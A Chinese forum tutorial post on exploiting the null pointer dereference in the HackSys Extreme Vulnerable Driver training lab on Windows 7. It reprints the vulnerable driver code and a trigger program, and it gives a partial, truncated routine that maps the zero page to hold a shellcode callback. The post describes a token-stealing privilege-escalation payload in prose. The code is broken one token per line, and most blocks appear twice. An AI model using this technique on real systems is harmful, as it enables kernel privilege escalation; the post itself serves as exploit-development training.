-
-
[原创]内核漏洞学习[5]-HEVD-NullPointerDereference
-
发表于: 2021-11-13 16:26 18786
-
# HEVD-NullPointerDereference
HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub
环境准备:
Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView
指针的三种错误使用:
总结:
free(p)后:
p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码
p=NULL 后:
p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。 调用null指针,执行shellcode
使用ntallocvirtualmemory 函数申请内存:
NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs
空指针漏洞
此类漏洞利用主要集中在两种方式上:
(1)分析漏洞点
UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback,
HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case
NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞
(1)测试
当我们传入值与MagicValue值不匹配时,则会触发漏洞
因为uservalue=0xBAD0B0B0,所以打印出信息,
(2)漏洞利用
官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存,
该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;
申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞
exp,可供参考
payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
相关内核结构体:
在内核模式下,fs:[0]指向KPCR结构体
payload:注意堆栈平衡问题。。
运行exp提权成功:
流程总结:
申请0页内存
将payload放入内存任意位置
并在0x4地址放入payload地址
调用TriggerNullPointerDereference函数
提权启动cmd
NTSTATUS
TriggerNullPointerDereference(
_In_ PVOID UserBuffer
)
{
ULONG UserValue
=
0
;
ULONG MagicValue
=
0xBAD0B0B0
;
NTSTATUS Status
=
STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference
=
NULL;
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
/
/
/
/
Allocate Pool chunk
/
/
NullPointerDereference
=
(PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG
);
if
(!NullPointerDereference)
{
/
/
/
/
Unable to allocate Pool chunk
/
/
DbgPrint(
"[-] Unable to allocate Pool chunk\n"
);
Status
=
STATUS_NO_MEMORY;
return
Status;
}
else
{
DbgPrint(
"[+] Pool Tag: %s\n"
, STRINGIFY(POOL_TAG));
DbgPrint(
"[+] Pool Type: %s\n"
, STRINGIFY(NonPagedPool));
DbgPrint(
"[+] Pool Size: 0x%X\n"
, sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint(
"[+] Pool Chunk: 0x%p\n"
, NullPointerDereference);
}
/
/
/
/
Get the value
from
user mode
/
/
UserValue
=
*
(PULONG)UserBuffer;
DbgPrint(
"[+] UserValue: 0x%p\n"
, UserValue);
DbgPrint(
"[+] NullPointerDereference: 0x%p\n"
, NullPointerDereference);
/
/
/
/
Validate the magic value
/
/
if
(UserValue
=
=
MagicValue)
{
NullPointerDereference
-
>Value
=
UserValue;
NullPointerDereference
-
>Callback
=
&NullPointerDereferenceObjectCallback;
DbgPrint(
"[+] NullPointerDereference->Value: 0x%p\n"
, NullPointerDereference
-
>Value);
DbgPrint(
"[+] NullPointerDereference->Callback: 0x%p\n"
, NullPointerDereference
-
>Callback);
}
else
{
DbgPrint(
"[+] Freeing NullPointerDereference Object\n"
);
DbgPrint(
"[+] Pool Tag: %s\n"
, STRINGIFY(POOL_TAG));
DbgPrint(
"[+] Pool Chunk: 0x%p\n"
, NullPointerDereference);
/
/
/
/
Free the allocated Pool chunk
/
/
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
/
/
/
/
Set
to NULL to avoid dangling pointer
/
/
NullPointerDereference
=
NULL;
}
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
checking
if
/
/
'NullPointerDereference'
is
not
NULL before calling the callback function
/
/
if
(NullPointerDereference)
{
NullPointerDereference
-
>Callback();
}
#else
DbgPrint(
"[+] Triggering Null Pointer Dereference\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Null Pointer Dereference vulnerability
/
/
because the developer
is
not
validating
if
'NullPointerDereference'
is
NULL
/
/
before calling the callback function
/
/
NullPointerDereference
-
>Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
NTSTATUS
TriggerNullPointerDereference(
_In_ PVOID UserBuffer
)
{
ULONG UserValue
=
0
;
ULONG MagicValue
=
0xBAD0B0B0
;
NTSTATUS Status
=
STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference
=
NULL;
PAGED_CODE();
__try
{
/
/
/
/
Verify
if
the
buffer
resides
in
user mode
/
/
ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));
/
/
/
/
Allocate Pool chunk
/
/
NullPointerDereference
=
(PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(
NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG
);
if
(!NullPointerDereference)
{
/
/
/
/
Unable to allocate Pool chunk
/
/
DbgPrint(
"[-] Unable to allocate Pool chunk\n"
);
Status
=
STATUS_NO_MEMORY;
return
Status;
}
else
{
DbgPrint(
"[+] Pool Tag: %s\n"
, STRINGIFY(POOL_TAG));
DbgPrint(
"[+] Pool Type: %s\n"
, STRINGIFY(NonPagedPool));
DbgPrint(
"[+] Pool Size: 0x%X\n"
, sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint(
"[+] Pool Chunk: 0x%p\n"
, NullPointerDereference);
}
/
/
/
/
Get the value
from
user mode
/
/
UserValue
=
*
(PULONG)UserBuffer;
DbgPrint(
"[+] UserValue: 0x%p\n"
, UserValue);
DbgPrint(
"[+] NullPointerDereference: 0x%p\n"
, NullPointerDereference);
/
/
/
/
Validate the magic value
/
/
if
(UserValue
=
=
MagicValue)
{
NullPointerDereference
-
>Value
=
UserValue;
NullPointerDereference
-
>Callback
=
&NullPointerDereferenceObjectCallback;
DbgPrint(
"[+] NullPointerDereference->Value: 0x%p\n"
, NullPointerDereference
-
>Value);
DbgPrint(
"[+] NullPointerDereference->Callback: 0x%p\n"
, NullPointerDereference
-
>Callback);
}
else
{
DbgPrint(
"[+] Freeing NullPointerDereference Object\n"
);
DbgPrint(
"[+] Pool Tag: %s\n"
, STRINGIFY(POOL_TAG));
DbgPrint(
"[+] Pool Chunk: 0x%p\n"
, NullPointerDereference);
/
/
/
/
Free the allocated Pool chunk
/
/
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
/
/
/
/
Set
to NULL to avoid dangling pointer
/
/
NullPointerDereference
=
NULL;
}
#ifdef SECURE
/
/
/
/
Secure Note: This
is
secure because the developer
is
checking
if
/
/
'NullPointerDereference'
is
not
NULL before calling the callback function
/
/
if
(NullPointerDereference)
{
NullPointerDereference
-
>Callback();
}
#else
DbgPrint(
"[+] Triggering Null Pointer Dereference\n"
);
/
/
/
/
Vulnerability Note: This
is
a vanilla Null Pointer Dereference vulnerability
/
/
because the developer
is
not
validating
if
'NullPointerDereference'
is
NULL
/
/
before calling the callback function
/
/
NullPointerDereference
-
>Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status
=
GetExceptionCode();
DbgPrint(
"[-] Exception Code: 0x%X\n"
, Status);
}
return
Status;
}
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint(
"****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"
);
Status
=
NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint(
"****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"
);
break
;
HEVD_IOCTL_NULL_POINTER_DEREFERENCE:
DbgPrint(
"****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"
);
Status
=
NullPointerDereferenceIoctlHandler(Irp, IrpSp);
DbgPrint(
"****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n"
);
break
;
NTSTATUS
NullPointerDereferenceIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
PVOID UserBuffer
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer
=
IrpSp
-
>Parameters.DeviceIoControl.Type3InputBuffer;
if
(UserBuffer)
{
Status
=
TriggerNullPointerDereference(UserBuffer);
}
return
Status;
}
NTSTATUS
NullPointerDereferenceIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
PVOID UserBuffer
=
NULL;
NTSTATUS Status
=
STATUS_UNSUCCESSFUL;
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
UserBuffer
=
IrpSp
-
>Parameters.DeviceIoControl.Type3InputBuffer;
if
(UserBuffer)
{
Status
=
TriggerNullPointerDereference(UserBuffer);
}
return
Status;
}
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice
=
NULL;
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int
main()
{
hDevice
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
, GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if
(hDevice
=
=
INVALID_HANDLE_VALUE || hDevice
=
=
NULL)
{
printf(
"[-]failed to get device handle !"
);
return
FALSE;
}
printf(
"[+]success to get device handle"
);
if
(hDevice) {
DWORD bReturn
=
0
;
char buf[
4
]
=
{
0
};
*
(PDWORD32)(buf)
=
0x12345678
;
DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf,
4
, NULL,
0
, &bReturn, NULL);
}
}
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice
=
NULL;
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
int
main()
{
hDevice
=
CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver"
, GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
if
(hDevice
=
=
INVALID_HANDLE_VALUE || hDevice
=
=
NULL)
{
printf(
"[-]failed to get device handle !"
);
return
FALSE;
}
printf(
"[+]success to get device handle"
);
if
(hDevice) {
DWORD bReturn
=
0
;
char buf[
4
]
=
{
0
};
*
(PDWORD32)(buf)
=
0x12345678
;
DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf,
4
, NULL,
0
, &bReturn, NULL);
}
}
BOOL
MapNullPage() {
HMODULE hNtdll;
SIZE_T RegionSize
=
0x1000
;
/
/
will be rounded up to the
next
host
/
/
page size address boundary
-
>
0x2000
PVOID BaseAddress
=
(PVOID)
0x00000001
;
/
/
will be rounded down to the
next
host
/
/
page size address boundary
-
>
0x00000000
NTSTATUS NtStatus
=
STATUS_UNSUCCESSFUL;
hNtdll
=
GetModuleHandle(
"ntdll.dll"
);
/
/
Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory
=
(NtAllocateVirtualMemory_t)GetProcAddress(hNtdll,
"NtAllocateVirtualMemory"
);
if
(!NtAllocateVirtualMemory) {
DEBUG_ERROR(
"\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
/
/
Allocate the Virtual memory
NtStatus
=
NtAllocateVirtualMemory((HANDLE)
0xFFFFFFFF
,
&BaseAddress,
0
,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if
(NtStatus !
=
STATUS_SUCCESS) {
DEBUG_ERROR(
"\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n"
, NtStatus);
exit(EXIT_FAILURE);
}
else
{
DEBUG_INFO(
"\t\t\t[+] Memory Allocated: 0x%p\n"
, BaseAddress);
DEBUG_INFO(
"\t\t\t[+] Allocation Size: 0x%X\n"
, RegionSize);
}
FreeLibrary(hNtdll);
return
TRUE;
BOOL
MapNullPage() {
HMODULE hNtdll;
SIZE_T RegionSize
=
0x1000
;
/
/
will be rounded up to the
next
host
/
/
page size address boundary
-
>
0x2000
PVOID BaseAddress
=
(PVOID)
0x00000001
;
/
/
will be rounded down to the
next
host
/
/
page size address boundary
-
>
0x00000000
NTSTATUS NtStatus
=
STATUS_UNSUCCESSFUL;
hNtdll
=
GetModuleHandle(
"ntdll.dll"
);
/
/
Grab the address of NtAllocateVirtualMemory
NtAllocateVirtualMemory
=
(NtAllocateVirtualMemory_t)GetProcAddress(hNtdll,
"NtAllocateVirtualMemory"
);
if
(!NtAllocateVirtualMemory) {
DEBUG_ERROR(
"\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n"
, GetLastError());
exit(EXIT_FAILURE);
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]CVE-2017-11882分析和白象样本分析 8354
- 银狐样本分析 13162
- [原创]CS[1]exe木马分析 7812
- [原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable 27983
- [原创]植物大战僵尸外挂实现 13159